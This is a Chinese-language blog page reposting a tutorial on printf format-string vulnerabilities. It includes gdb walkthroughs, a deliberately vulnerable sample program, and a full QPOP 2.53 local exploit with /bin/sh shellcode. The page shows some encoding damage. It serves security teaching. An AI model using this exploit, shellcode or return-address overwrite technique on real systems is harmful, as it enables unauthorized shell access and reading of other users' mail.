• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            隨筆 - 62  文章 - 257  trackbacks - 0
            <2006年11月>
            2930311234
            567891011
            12131415161718
            19202122232425
            262728293012
            3456789

            I Love Programming & Music.... CS Became CSed....

            常用鏈接

            留言簿(7)

            隨筆分類(64)

            隨筆檔案(62)

            文章分類(11)

            文章檔案(11)

            相冊(cè)

            BlOoD

            FriEnds

            搞起的人們

            搜索

            •  

            積分與排名

            • 積分 - 116494
            • 排名 - 215

            最新評(píng)論

            閱讀排行榜

            評(píng)論排行榜

            測(cè)試平臺(tái):RedHat 6.1, RedHat 6.2 (Intel i386)


            前言:

            =====
            最近一段時(shí)間,一種新的安全漏洞正開(kāi)始引起人們注意,就是諸多的*printf()函數(shù)的格式
            化串問(wèn)題。其實(shí)這個(gè)問(wèn)題應(yīng)該說(shuō)并不鮮見(jiàn),只是一直沒(méi)有人注意它,直到最近才開(kāi)始進(jìn)行
            一些深入的討論。格式化串的問(wèn)題實(shí)際上是由于程序員編程時(shí)的疏漏所導(dǎo)致的,下面我們
            就來(lái)看看具體是怎么回事。

            關(guān)于格式化串

            ============
            *printf()函數(shù)包括printf,??fprintf,??sprintf,??snprintf,??vprintf, vfprintf,
            vsprintf, vsnprintf等函數(shù),它們可以將數(shù)據(jù)格式化后輸出。以最簡(jiǎn)單的printf()為例:
            int printf(const char *format, arg1,arg2,...);

            通過(guò)定制format的內(nèi)容(%s,%d,%p,%x...),用戶可以將數(shù)據(jù)按照某種格式輸出。問(wèn)題是,
            *printf()函數(shù)并不能確定數(shù)據(jù)參數(shù)arg1,arg2...究竟在什么地方結(jié)束,也就是說(shuō),它不知
            道參數(shù)的個(gè)數(shù)。它只會(huì)根據(jù)format中的打印格式的數(shù)目依次打印堆棧中參數(shù)format后面地址
            的內(nèi)容。先來(lái)看一個(gè)簡(jiǎn)單的例子:

            <- begin ->??fmt_test.c

            #i nclude <stdio.h>

            int main(void)
            {
            ???char string[]="Hello World!";
            ???
            ???printf("String: %s??, arg2: %#p , arg3: %#p\n", string);
            ???return 0;
            }

            <- end ->??

            上面的例子中我們其實(shí)只提供了一個(gè)數(shù)據(jù)參數(shù)"string",但在格式串中有三個(gè)打印格式,
            我們看一下運(yùn)行的結(jié)果:

            [warning3@redhat-6 format]$ gcc -o fmt_test fmt_test.c
            [warning3@redhat-6 format]$ ./fmt_test
            String: Hello World!??, arg2: 0x6c6c6548 , arg3: 0x6f57206f

            我們來(lái)看一下arg2,arg3顯示的是哪里的內(nèi)容:
            [warning3@redhat-6 format]$ gdb ./fmt_test
            <...>
            (gdb) b printf
            Breakpoint 1 at 0x8048308
            (gdb) r
            Starting program: /home/warning3/format/./fmt_test
            Breakpoint 1 at 0x40064f5c: file printf.c, line 30.

            Breakpoint 1, printf (
            ????format=0x80484c0 "String: %s??, arg2: %#p , arg3: %#p\n") at printf.c:30
            30??????printf.c: No such file or directory.
            (gdb) x/10x $ebp
            0xbffffc88:?????0xbffffca8??????0x08048403??????0x080484c0??????0xbffffc98
            0xbffffc98:?????0x6c6c6548??????0x6f57206f??????0x21646c72??????0x08049500
            0xbffffca8:?????0xbffffcc8??????0x400301eb

            我們看到printf()的第一個(gè)參數(shù)地址是$ebp+8,里面的內(nèi)容是0x080484c0,
            (gdb) x/s 0x080484c0
            0x80484c0 <_IO_stdin_used+60>:???"String: %s??, arg2: %#p , arg3: %#p\n"
            這是我們的格式化串的地址

            再來(lái)看我們要格式化輸出的數(shù)據(jù)($ebp+12):
            (gdb) x/s 0xbffffc98
            0xbffffc98:??????"Hello World!"

            我們看到,緊接著下來(lái)的兩個(gè)字的內(nèi)容就是剛才的程序中顯示的結(jié)果:
            $ebp+16: 0x6c6c6548??"Hell"
            $ebp+20: 0x6f57206f??"o Wo"

            從下面的示意圖上可以看得更清楚一些:

            ??????????????棧頂
            ???????+------------+
            ??????|???......???|????
            ??????+------------+
            0xbffffc88| 0xbffffca8 | --------> 保存的EBP??-- printf()
            ??????+------------+
            ??????| 0x08048403 | --------> 保存的EIP??-- printf()
            ??????+------------+??format
            format->??| 0x080484c0 | --------> "String: %s??, arg2: %#p , arg3: %#p\n"的地址
            ??????+------------+??arg1
            ??????| 0xbffffc98 | --------> "Hello World!"的地址??????????????????????????
            ??????+------------+
            ??????| 0x6c6c6548 | --------> string[] = "Hell????
            ??????+------------+
            ??????| 0x6f57206f | -------->?????????????o Wo
            ??????+------------+
            ??????| 0x21646c72 | -------->?????????????rld!"
            ??????+------------+
            ??????| 0x08049500 | -------->???'\0'xxx
            ??????+------------+
            0xbffffca8| 0xbffffcc8 | --------> 保存的EBP??-- main()
            ??????+------------+
            ??????| 0x400301eb | --------> 保存的EIP??-- main()
            ??????+------------+
            ??????????|???......???|????
            ??????+------------+
            ??????????????棧底

            我們可以看到,arg2,arg3所顯示的其實(shí)是main()中數(shù)組strings中前兩個(gè)字的內(nèi)容。
            從上面這個(gè)簡(jiǎn)單的例子我們可以看到, *printf()只根據(jù)format中打印格式(%)的數(shù)目來(lái)依次
            顯示堆棧中format參數(shù)后面地址的內(nèi)容,每次移動(dòng)一個(gè)字(4個(gè)字節(jié)).
            由于我們上面的例子中出現(xiàn)了三個(gè)(%)號(hào),所以它會(huì)依次打印三個(gè)地址的內(nèi)容:
            format+4, format + 8, format + 12.

            (注意:并不是所有的%格式都是移動(dòng)4個(gè)字節(jié),例如%f就每次移動(dòng)8個(gè)字節(jié)。如果要覆蓋的地址
            距離比較遠(yuǎn)(比如2048字節(jié)),而%的個(gè)數(shù)又有所限制的話,使用%f可以較快的到達(dá)"目的地",
            只需要256個(gè)%f就可以了,%E也是如此)

            正常情況下,由于format串通常是程序員自己來(lái)定制,很少出現(xiàn)上面那種情況,而且即使
            出現(xiàn)了,也并不會(huì)有什么大的安全問(wèn)題。然而,如果format串是由用戶提供的話,那么就
            非常危險(xiǎn)了!這種情況往往是由于程序員的疏忽導(dǎo)致的。最常見(jiàn)的情況是當(dāng)需要利用
            vsprintf()等來(lái)構(gòu)造自己的類printf()函數(shù)時(shí),例如

            mylog(LEVEL, "username = %s", username);

            如果引用mylog時(shí)錯(cuò)誤的使用了mylog(LEVEL,user_buf),而user_buf的內(nèi)容又是用戶可以控
            制的話,那么真正的危險(xiǎn)就來(lái)了。


            1. 問(wèn)題一:格式化串導(dǎo)致的傳統(tǒng)緩沖區(qū)溢出

            ==========================================
            我們以不久前發(fā)現(xiàn)的QPOP 2.53的例子來(lái)做一下詳細(xì)的說(shuō)明。


            QPOP 2.53中pop_uidl.c中有個(gè)函數(shù)pop_euidl (p),用來(lái)完成EUIDL命令的功能,它錯(cuò)誤的
            使用了pop_msg()函數(shù):

            .......
            pop_euidl (p)
            POP?????*???p;
            {
            ????char????????????????????buffer[MAXLINELEN];?????/*??Read buffer */
            ????char????????????*nl, *bp;
            ????MsgInfoList?????????*???mp;?????????/*??Pointer to message info list */
            ......
            ??????if (mp->del_flag) {
            ??????
            ??????/* 注意: 這里使用pop_msg()的做法是正確的! 注意和下面那個(gè)pop_msg()的用法
            ????????????????做一下比較。
            ???????*/
            ????????return (pop_msg (p,POP_FAILURE,
            ????????????????"Message %d has been marked for deletion.",msg_id));
            ??????} else {

            ????sprintf(buffer, "%d %s", msg_id, mp->uidl_str);
            ????????if (nl = index(buffer, NEWLINE)) *nl = 0;
            ???????/* 下面這個(gè)sprintf()將用戶輸入的數(shù)據(jù)拷貝到buffer中,由于限制了%s的寬度,
            ???????????因此不會(huì)發(fā)生緩沖區(qū)溢出 */????????
            ????
            ????sprintf(buffer, "%s %d %.128s", buffer, mp->length, from_hdr(p, mp));
            ????
            ????/* 注意:這里直接將buffer作為第三個(gè)參數(shù)傳遞給pop_msg(),這是錯(cuò)誤的! */
            ????return (pop_msg (p,POP_SUCCESS, buffer));
            ??????}

            我們?cè)賮?lái)看看pop_msg()函數(shù),它在pop_msg.c中定義:

            ......
            #define BUFSIZE 2048
            ......
            #ifdef __STDC__
            /* 我們看到,pop_msg()的第三個(gè)參數(shù)是format串*/
            pop_msg(POP *p, int stat, const char *format,...)
            #else
            pop_msg(va_alist)
            va_dcl
            #endif
            {
            #ifndef __STDC__
            ????POP?????????????*???p;
            ????int?????????????????stat;??????????????/*??POP status indicator */
            ????char????????????*???format;????????????/*??Format string for the message */
            #endif
            ????va_list?????????????ap;
            ????register char???*???mp;
            #ifdef PYRAMID
            ????char????????*???arg1, *arg2, *arg3, *arg4, *arg5, *arg6;
            #endif
            ????char????????????????message[BUFSIZE]; /* 定義了一個(gè)BUFSIZE=2048大小的緩沖區(qū) */

            #ifdef __STDC__
            ????va_start(ap,format);
            .......

            ????/*??Point to the message buffer */
            ????mp = message;???????????????????????/* mp指向message[]起始地址 */
            ......
            ????/*??Append the message (formatted, if necessary) */
            ????if (format) {
            #ifdef HAVE_VPRINTF
            /* 這里將變參ap按照f(shuō)ormat的格式輸出到mp所指向的message[]中
            ???注意,這里沒(méi)有檢查拷貝數(shù)據(jù)的大小!
            */
            ????????vsprintf(mp,format,ap);

            .....

            我們看到pop_euidl()中的buffer,本來(lái)應(yīng)該出現(xiàn)在pop_msg()的第四個(gè)參數(shù)位置上,也就是
            pop_msg()的ap所指向的內(nèi)容,正確的格式應(yīng)該象下面這樣:
            pop_msg (p,POP_SUCCESS, "%s", buffer);
            這樣由于buffer的長(zhǎng)度是有限制的,pop_msg()中的vsprintf()就不會(huì)產(chǎn)生溢出。
            但由于程序員的疏忽,錯(cuò)誤的將buffer放在了第三個(gè)參數(shù)的位置上,其實(shí)就是pop_msg()中
            format所指向的內(nèi)容。而buffer中的部分內(nèi)容是由用戶提供的,因此如果用戶輸入的數(shù)
            據(jù)中包含某些特別的打印格式,就可能利用vsprintf()調(diào)用溢出message緩沖區(qū)。

            那么具體如何來(lái)做呢?我們知道打印格式中有個(gè)重要的部分是打印寬度,例如:%.20d,%20d
            %20s,%.20s等等。以printf("%.20d",num)為例,如果整數(shù)num的長(zhǎng)度小于20,printf()會(huì)在
            它前面補(bǔ)零來(lái)使打印出來(lái)的長(zhǎng)度為20,例如:
            printf("%.20d\n",12345);
            打印結(jié)果如下:
            00000000000000012345

            這讓我們想到,是否可以通過(guò)定義打印寬度來(lái)填充message緩沖區(qū)呢?
            如果我們構(gòu)造buffer的內(nèi)容讓它象這個(gè)樣子:

            xxx%.2000d<RET><RET>...<RET>

            那么vsprintf(mp,"xxx%.2000d<RET><RET>...<RET>",ap);
            就可能使<RET>覆蓋pop_msg()函數(shù)的返回地址,如果我們可以在<RET>這個(gè)地址中放入shellcode
            ,就可能獲得一個(gè)遠(yuǎn)程shell了。由于通常Qpoper沒(méi)有丟棄mail組權(quán)限,因此我們可以獲得一個(gè)
            gid=mail的shell,可以查看其他普通用戶的郵件....

            為了達(dá)到我們的目標(biāo),我們需要做的事是:

            <1> 發(fā)一封郵件給要攻擊的用戶,在X-UIDL:域中放入我們的shellcode,
            ????在From:域中放入%.2000d<RET><RET>...<RET>
            ????注意這個(gè)<RET>的地址需要通過(guò)調(diào)試才能確定,它應(yīng)該指向我們的shellcode所在地址。
            ????
            <2> 以該用戶身份登陸QPOP server,執(zhí)行EUIDL num命令,這里的num應(yīng)該是我們剛才發(fā)送
            ????的那封特殊郵件的序號(hào)。
            ????
            ????如果一切順利的話,你就可以得到一個(gè)gid mail的shell了。

            下面我們提供一個(gè)簡(jiǎn)單的測(cè)試程序,它會(huì)給你一個(gè)本地的gid mail shell:
            (你可能需要自己調(diào)整retloc以及POP *p的地址才能成功)

            <- begin ->??qpop2.53_local.c

            /*??QPOP 2.53 local exploit .
            *??code based on the sample exploit by Prizm/b0f.
            *??usages:
            *????[test@redhat-6 /tmp]$ ./qp 0xbfffcba4 0xbfffdbf8 >/var/spool/mail/test
            *????[test@redhat-6 /tmp]$ nc localhost 110
            *?????
            *?????+OK QPOP (version 2.53) at localhost.localdomain starting.??
            *?????user test
            *?????+OK Password required for test.
            *?????pass 123456
            *?????+OK test has 1 message (307 octets).
            *?????euidl 1
            *?????<...snip...>
            *?????id
            *?????uid=514(test) gid=12(mail) groups=12(mail)??
            *???????????????????????????????????????????????????warning3@isbase.com
            *??????????????????????????????????????????????????????y2k/5/28
            */

            #i nclude <stdio.h>
            #i nclude <string.h>

            char shellcode[]=
            ???"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
            ???"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
            ???"\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
            ???"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
            ???"\xff\xff/bin/sh....";

            int main(int argc, char *argv[])
            {
            ????????int i;
            ????????unsigned long ra=0;
            ????????unsigned long p= 0xbffffdf8;
            ????????if(argc<2) {
            ????????????????fprintf(stderr,"Usage: %s return_addr POP(*)_addr\n", argv[0]);
            ????????????????exit(0);
            ????????}
            ????????sscanf(argv[1], "%x", &ra);
            ????????/* 由于pop_msg()發(fā)生溢出后還需要一個(gè)有效的POP *p指針才能正確結(jié)束,所以
            ?????????* 我們必須要提供一個(gè)有效的地址
            ?????????*/
            ????????sscanf(argv[2], "%x", &p);
            ????????if(!ra)
            ????????????????return;
            ????????if(sizeof(shellcode) < 12 || sizeof(shellcode) > 76) {
            ????????????????fprintf(stderr,"Bad shellcode\n");
            ????????????????exit(0);
            ????????}
            ????????fprintf(stderr,"return address: 0x%.8x\n", ra);
            ????????fprintf(stderr,"p address: 0x%.8x\n", p);
            ????????printf("From root??Sun May 28 17:29:37 2000\n");
            ????????printf("Date: Sun, 28 May 2000 17:29:37 +0800\n");
            ????????printf("From: %s", "%.500d%.500d%.500d%.398d");
            ????????for(i=0; i < 20; i++)
            ??????????printf("%c%c%c%c", (ra & 0xff), (ra & 0xff00)>>8, (ra & 0xff0000)>>16, (ra & 0xff000000)>>24); /* 連續(xù)的返回地址 */
            ????????printf("%c%c%c%c", ( p& 0xff), (p & 0xff00)>>8, (p & 0xff0000)>>16, (p & 0xff000000)>>24);/* 有效的POP *p指針 */
            ????????printf ("\n");
            ????????printf ("Subject: haha\n");
            ????????printf ("Message-Id: <200005280929.RAA03577@localhost.localdomain>\n");
            ????????printf("X-UIDL: ");
            ????????for(i=0; i < sizeof(shellcode);i++)
            ????????????????printf("%c", shellcode[i]);
            ????????printf("\n");
            ????????printf ("\n\n");
            ????????return 0;
            }????
            ??????
            <- end ->


            2. 問(wèn)題二:格式化串導(dǎo)致覆蓋函數(shù)返回地址

            ========================================
            我們?cè)賮?lái)看另外一個(gè)問(wèn)題:%n的問(wèn)題。 %n在格式化中的意思是將顯示內(nèi)容的長(zhǎng)度輸出到一
            個(gè)變量中去。通常的用法是這樣的:

            <- begin ->??n_test.c

            main()
            {
            ??int num=0x41414141;
            ??
            ??printf("Before: num = %#x \n", num);
            ??printf("%.20d%n\n", num, &num);
            ??printf("After: num = %#x \n", num);

            }

            <- end ->??

            [warning3@redhat-6 format]$ ./n_test
            Before: num = 0x41414141
            00000000001094795585
            After: num = 0x14

            我們看到,變量num的值已經(jīng)變成了0x14(20),也就是說(shuō),因?yàn)槲覀兊某绦蛑袑⒆兞縩um的地
            址壓入堆棧,作為printf()的第二個(gè)參數(shù),%n會(huì)將打印總長(zhǎng)度保存到對(duì)應(yīng)參數(shù)的地址中去。
            那么如果我們不將num的地址壓入堆棧會(huì)發(fā)生什么事情呢?


            [warning3@redhat-6 format]$ vi n_test.c

            <- begin ->??n_test1.c

            main()
            {
            ??int num=0x41414141;

            ??printf("Before: num = %#x \n", num);
            ??printf("%.20d%n\n", num);????????????/* 注意,我們沒(méi)有壓num的地址入棧 */
            ??printf("After: num = %#x \n", num);

            }

            <- end ->??

            [warning3@redhat-6 format]$ ./n_test1
            Before: num = 0x41414141
            Segmentation fault (core dumped)??????<--- 在執(zhí)行第二個(gè)printf()時(shí)就發(fā)生段錯(cuò)誤了
            [warning3@redhat-6 format]$ gdb ./n_test core
            GNU gdb 4.18
            <...>
            #0??0x4005d897 in _IO_vfprintf (s=0x40104c60, format=0x8048474 "%.20d%n\n",
            ????ap=0xbffffca8) at vfprintf.c:1212
            1212????vfprintf.c: No such file or directory.
            (gdb) x/i $pc?????????????????????????<--- 我們看看下一條指令是什么
            0x4005d897 <_IO_vfprintf+2455>: mov????%eax,(%ecx)???<--- 將%eax的值填到%ecx中
            ??????????????????????????????????????????????????????????的地址去
            (gdb) i r $ecx???????????????????????????????????????<--- 目的地址是 0x41414141
            ecx????????????0x41414141???????1094795585
            (gdb) i r $eax
            eax????????????0x14?????20???????????????????????????<--- 填充內(nèi)容是0x14(20)
            (gdb)

            很明顯,這就是在執(zhí)行%n操作的時(shí)候發(fā)生了段錯(cuò)誤,0x41414141肯定是不能訪問(wèn)的。我們
            注意到num的初始值就是0x41414141,兩者是不是有什么聯(lián)系呢?其實(shí)從前面關(guān)于fmt_test.c
            的討論我們就應(yīng)該可以看出來(lái),printf()將堆棧中main()函數(shù)的變量num當(dāng)作了%n所對(duì)應(yīng)的
            參數(shù),因此會(huì)將0x14保存到0x41414141中去。聰明的讀者應(yīng)該可以想到,如果我們可以控制
            num的內(nèi)容,那么不就意味著可以修改任意地址(當(dāng)然是允許寫入的地址)的內(nèi)容了?是的。
            我們首先想到的是覆蓋函數(shù)的返回地址,讓我們修改一下程序:

            <- begin ->??n_test2.c

            main()
            {
            ??int num=0xbffffcbc;

            ??printf("Press Any Key to Continue...\n");
            ??getchar();
            ??printf("Before: num = %#x \n", num);
            ??printf("%.1094795585u%n\n", num);??/* 1094795585 = 0x41414141 */
            ??printf("After: num = %#x \n", num);

            }

            <- end ->??


            這里的num的值是main()函數(shù)的返回地址,我們的目的是將0x41414141覆蓋main()函數(shù)
            的返回地址,這樣從main()函數(shù)返回時(shí)就會(huì)跳到0x41414141去運(yùn)行,當(dāng)然這會(huì)導(dǎo)致段錯(cuò)
            誤,這里只是舉個(gè)例子而已。
            至于getchar()的作用,純粹是為了調(diào)試方便,一會(huì)你就會(huì)明白為什么要加這個(gè)東西。
            細(xì)心的讀者可能會(huì)發(fā)現(xiàn)我將%d換成了%u,這是因?yàn)槿绻?br />打印的值為負(fù)數(shù),printf會(huì)自動(dòng)在前面加上一個(gè)'-'號(hào),這樣實(shí)際的打印結(jié)果長(zhǎng)度就要
            加上一,在這個(gè)例子中,我們就可能跳到0x41414142去了,當(dāng)然這里對(duì)我們并沒(méi)有什么
            影響,如果我們有很多%d,例如:"%d%d%d...%d%d",我們就不能簡(jiǎn)單的根據(jù)"%d"的個(gè)數(shù)來(lái)
            計(jì)算顯示結(jié)果的長(zhǎng)度,還要考慮可能的'-'號(hào)數(shù)目。為了簡(jiǎn)便起見(jiàn),我們用%u來(lái)顯示,它
            會(huì)按無(wú)符號(hào)整數(shù)來(lái)顯示結(jié)果,就不用考慮'-'號(hào)的情況。

            讓我們來(lái)看看運(yùn)行結(jié)果,這是在一臺(tái)RedHat 6.1下運(yùn)行的結(jié)果:
            [warning3@redhat-6 format]$ gcc -o n2 -g n_test2.c
            [warning3@redhat-6 format]$ ./n2
            Press Any Key to Continue...

            這時(shí)我們?cè)匍_(kāi)一個(gè)終端[tty2]來(lái)調(diào)試:
            <在終端tty2上>

            [warning3@redhat-6 format]$ gdb ./n2 `ps -auxw|grep './n2'|grep -v grep|awk '{print $2}'`
            GNU gdb 4.18
            <......>
            Attaching to program: /home/warning3/format/./n2, Pid 28428
            Reading symbols from /lib/libc.so.6...done.
            Reading symbols from /lib/ld-linux.so.2...done.
            0x400bcdb4 in __libc_read () from /lib/libc.so.6
            (gdb) bt
            #0??0x400bcdb4 in __libc_read () from /lib/libc.so.6
            #1??0x4010648c in __DTOR_END__ () from /lib/libc.so.6
            #2??0x4006c7a1 in _IO_new_file_underflow (fp=0x40104ba0) at fileops.c:385
            #3??0x4006e6f1 in _IO_default_uflow (fp=0x40104ba0) at genops.c:371
            #4??0x4006db5c in __uflow (fp=0x40104ba0) at genops.c:328
            #5??0x4006af56 in getchar () at getchar.c:37
            #6??0x8048417 in main () at n_test2.c:6
            (gdb) i f 6
            Stack frame at 0xbffffcb8:
            eip = 0x8048417 in main (n_test2.c:6); saved eip 0x400301eb
            caller of frame at 0xbffffcac
            source language c.
            Arglist at 0xbffffcb8, args:
            Locals at 0xbffffcb8, Previous frame's sp is 0x0
            Saved registers:
            ??ebp at 0xbffffcb8, eip at 0xbffffcbc??????---> 這是main函數(shù)保存返回地址的地方,
            ??????????????????????????????????????????????????也是num初始值
            (gdb) c?????????????????---> 讓跟蹤的程序繼續(xù)運(yùn)行???????
            Continuing.

            現(xiàn)在我們?cè)偾袚Q到原先的終端上,繼續(xù)執(zhí)行我們的程序:
            [warning3@redhat-6 format]$ ./n2
            Press Any Key to Continue...??---> 按一下回車

            Before: num = 0xbffffcbc

            我們?cè)偾械絫ty2來(lái)看發(fā)生了什么:
            (gdb) c
            Continuing.

            Program received signal SIGSEGV, Segmentation fault.??---> 發(fā)生了段訪問(wèn)錯(cuò)誤
            0x4005dff0 in _IO_vfprintf (s=0x40104c60,
            ????format=0x80484d2 "%.1094795585u%n\n", ap=0xbffffcb4) at vfprintf.c:1259
            1259????vfprintf.c: No such file or directory.

            (gdb) x/6i $pc??---> 看看我們要執(zhí)行什么命令了
            0x4005dff0 <_IO_vfprintf+4336>: movb???$0x30,(%esi)
            0x4005dff3 <_IO_vfprintf+4339>: dec????%esi
            0x4005dff4 <_IO_vfprintf+4340>: mov????0xfffffad8(%ebp),%eax
            0x4005dffa <_IO_vfprintf+4346>: decl???0xfffffad8(%ebp)
            0x4005e000 <_IO_vfprintf+4352>: test???%eax,%eax
            0x4005e002 <_IO_vfprintf+4354>: jg?????0x4005dff0 <_IO_vfprintf+4336>

            (gdb) i r $esi
            esi????????????0xbfffdfff???????-1073750017
            (gdb) i r $eax
            eax????????????0x41412b43???????1094789955??----> 還有0x41412b43個(gè)'0'要填充
            (gdb) x/200x $esi
            0xbfffdfff:?????0x30303000??????0x30303030??????0x30303030??????0x30303030
            0xbfffe00f:?????0x30303030??????0x30303030??????0x30303030??????0x30303030
            0xbfffe01f:?????0x30303030??????0x30303030??????0x30303030??????0x30303030
            0xbfffe02f:?????0x30303030??????0x30303030??????0x30303030??????0x30303030
            0xbfffe03f:?????0x30303030??????0x30303030??????0x30303030??????0x30303030
            0xbfffe04f:?????0x30303030??????0x30303030??????0x30303030??????0x30303030
            0xbfffe05f:?????0x30303030??????0x30303030??????0x30303030??????0x30303030
            0xbfffe06f:?????0x30303030??????0x30303030??????0x30303030??????0x30303030
            0xbfffe07f:?????0x30303030??????0x30303030??????0x30303030??????0x30303030
            0xbfffe08f:?????0x30303030??????0x30303030??????0x30303030??????0x30303030
            <....>

            我們看到這幾句程序?qū)?x30('0')往堆棧頂端(低地址方向)中填充,實(shí)際上就是為顯示
            "%.1094795585u"中指定的'0'做準(zhǔn)備。好像堆棧太小了,不足以存放這么多'0',讓我們
            再來(lái)看看./n2執(zhí)行時(shí)的內(nèi)存映射:

            ^Z
            [1]+??Stopped?????????????????gdb ./n2 `ps -auxw|grep './n2'|grep -v grep|awk '{print $2}'`
            [warning3@redhat-6 format]$ cat /proc/28428/maps
            08048000-08049000 r-xp 00000000 03:06 168475?????/home/warning3/format/n2
            08049000-0804a000 rw-p 00000000 03:06 168475?????/home/warning3/format/n2
            40000000-40012000 r-xp 00000000 03:06 144892?????/lib/ld-2.1.2.so
            40012000-40013000 rw-p 00012000 03:06 144892?????/lib/ld-2.1.2.so
            40013000-40015000 rw-p 00000000 00:00 0
            40018000-40103000 r-xp 00000000 03:06 144899?????/lib/libc-2.1.2.so
            40103000-40107000 rw-p 000ea000 03:06 144899?????/lib/libc-2.1.2.so
            40107000-4010b000 rw-p 00000000 00:00 0
            bfffe000-c0000000 rwxp fffff000 00:00 0

            從上面我們可以看到可寫的堆棧段是從bfffe000-c0000000之間的地址空間,而前面的語(yǔ)句
            要將0x30('0')寫入0xbfffdfff,這個(gè)地址已經(jīng)不在堆棧段中,因此會(huì)發(fā)生段訪問(wèn)錯(cuò)誤。程
            序也就執(zhí)行不下去了。因此,在RedHat 6.1中,我們不能簡(jiǎn)單的直接用%.RET%n的方式來(lái)覆
            蓋函數(shù)返回地址,因?yàn)橥ǔET都是在堆棧段中,即通常大于0xbfff0000,這是個(gè)相當(dāng)大的數(shù)
            值,RedHat 6.1的glibc中的vfprintf()不能正常顯示這么多的'0',而RedHat 6.2中的glibc
            所帶的vfprintf()則可以,也就是說(shuō),上面的程序在RedHat 6.2下,這條語(yǔ)句:
            printf("%.1094795585u%n\n", num);
            可以正常結(jié)束,然后main()的返回地址被覆蓋成0x41414141。
            但是我并不建議讀者直接在RedHat 6.2下運(yùn)行這個(gè)程序,因?yàn)樗鼤?huì)打印非常多的0,你需要
            有足夠的耐心才能等待它結(jié)束. :-)

            <1> 攻擊方法一:直接覆蓋返回地址
            =================================

            我們看另外一個(gè)簡(jiǎn)單的問(wèn)題程序,我們會(huì)先在RedHat 6.2上進(jìn)行攻擊測(cè)試:


            <- begin ->??vul.c

            /*??A simple vulnerable example for format bug.
            *?????????????????????????????????warning3@nsfocus.com
            */

            #i nclude <stdarg.h>
            #i nclude <unistd.h>
            #i nclude <syslog.h>

            #define BUFSIZE 1024

            int log(int level, char *fmt,...)
            {
            ???char buf[BUFSIZE];
            ???va_list ap;
            ??
            ???va_start(ap, fmt);
            ???vsnprintf(buf, sizeof(buf)-1, fmt, ap);
            ???buf[BUFSIZE-1] = '\0';
            ???syslog(level, "[hmm]: %s", buf);
            ???va_end(ap);
            }


            int main(int argc, char **argv)
            {

            ??char buf[BUFSIZE];
            ??int num,i;
            ??
            ??num = argc ;

            ??if(argc > 1) {
            ?????for ( i = 1 ; i < num ; i ++ ) {
            ????????????snprintf(buf, BUFSIZE -1 , "argv[%d] = %.200s", i, argv[i]);
            ????????????buf[BUFSIZE-1] = '\0';
            ????????????log(LOG_ALERT, buf);??// 這里有問(wèn)題
            ????????????printf("argv[%d] = %s \n", i, argv[i]);
            ????}
            ??}
            }
            <- end ->??

            這個(gè)有問(wèn)題的程序在調(diào)用子函數(shù)log()的時(shí)候,錯(cuò)誤的將buf放到了*fmt所對(duì)應(yīng)的位置上,
            而buf的內(nèi)容中的一部分是用戶輸入的,而且沒(méi)有做任何檢查。雖然程序其余地方都比較
            小心地使用了vsnprintf(),snprintf(),不會(huì)發(fā)生通常的緩沖區(qū)溢出問(wèn)題。但這個(gè)格式化
            串的錯(cuò)誤也將是致命的。

            我們先來(lái)分析一下如何進(jìn)行攻擊。我們看到main()函數(shù)會(huì)將命令行參數(shù)拷貝到buf中去。
            前面還加上了"argv[%d] = "字符串,在參數(shù)個(gè)數(shù)小于10的情況下,這個(gè)字符串的長(zhǎng)度為
            10字節(jié)。我們考慮構(gòu)造這樣的字符串作為命令行參數(shù):
            "align|RET|%d%d...%.SH_RETd|%n"

            "align":??用來(lái)調(diào)整buf開(kāi)頭的數(shù)據(jù)長(zhǎng)度為4的整數(shù)
            "RET":?????是main()或者log()函數(shù)的返回地址位置,我們會(huì)將shellcode的地址放到RET中去,
            "SH_RET":??我們存放shellcode的地址
            "%d...%d": 這些%d用來(lái)使%n所對(duì)應(yīng)的地址剛好是儲(chǔ)存RET的地址

            我們來(lái)看看在第一次調(diào)用log()時(shí),堆棧中的情況

            ??保存ebp 保存eip 參數(shù)1?????參數(shù)2??變量i 變量num??緩沖區(qū)buf
            -----------------------------------------------------------------------
            |??EBP??|??EIP??|LOG_ALERT| &buf |??i??|??num??|"argv[1] = "| argv[1] |??
            -----------------------------------------------------------------------
            ???????????????????????????^??????^?????????????????????????
            ???????????????????????????|__fmt |__ap
            低址??---------------------->---------------------------------->??高址

            ??????????????????????????
            在執(zhí)行完??va_start(ap, fmt) 后,變參指針ap指向fmt的下一個(gè)地址,也就是main()
            函數(shù)局部變量i的地址,如果我們提供的argv[1]的是這樣的字符串:
            "xxabcd%d%d%d%d%d%p"
            那么堆棧中的情況就是這樣:


            保存ebp 保存eip 參數(shù)1?????參數(shù)2 變量i 變量num??緩沖區(qū)buf
            --------------------------------------------------------------------------------
            |??EBP??|??EIP??|LOG_ALERT| &buf |??i | num |"argv[1] = xx"|"abcd"|%d%d%d%d%d%p|
            --------------------------------------------------------------------------------
            ???????????????????????????^??????^ 4B???4B???12B??????????^??RET?????????????|???????
            ???????????????????????????|__fmt |__ap????????????????????|__________________|
            ???????????????????????????????
            低址??---------------------->---------------------------------->??高址

            因?yàn)?argv[1] = "長(zhǎng)是10字節(jié),我們用兩個(gè)字節(jié)"xx"來(lái)使其變成4的整數(shù)倍:12字節(jié)。因此,
            從變量i的地址到"abcd"之間共有4+4+12=20字節(jié),20/4=5,因此我們需要用5個(gè)%d來(lái)對(duì)應(yīng)這5
            個(gè)地址,這樣最后一個(gè)格式化串%p就對(duì)應(yīng)了"abcd"的地址,因此打印出來(lái)應(yīng)該是:
            "0x64636261"
            ?????????????????????????????????
            [root@rh62 format]# ./vul xxabcd%d%d%d%d%d%p
            argv[1] = xxabcd%d%d%d%d%d%p
            [root@rh62 format]# tail -1 /var/log/messages
            Jul 12 04:13:08 rh62 vul: [hmm]: argv[1] = xxabcd2119864909775429783952021138493
            0x64636261

            注意最后的0x64636261,這說(shuō)明我們前面的分析是正確的。如果我們將%p換成%n,vsnprintf
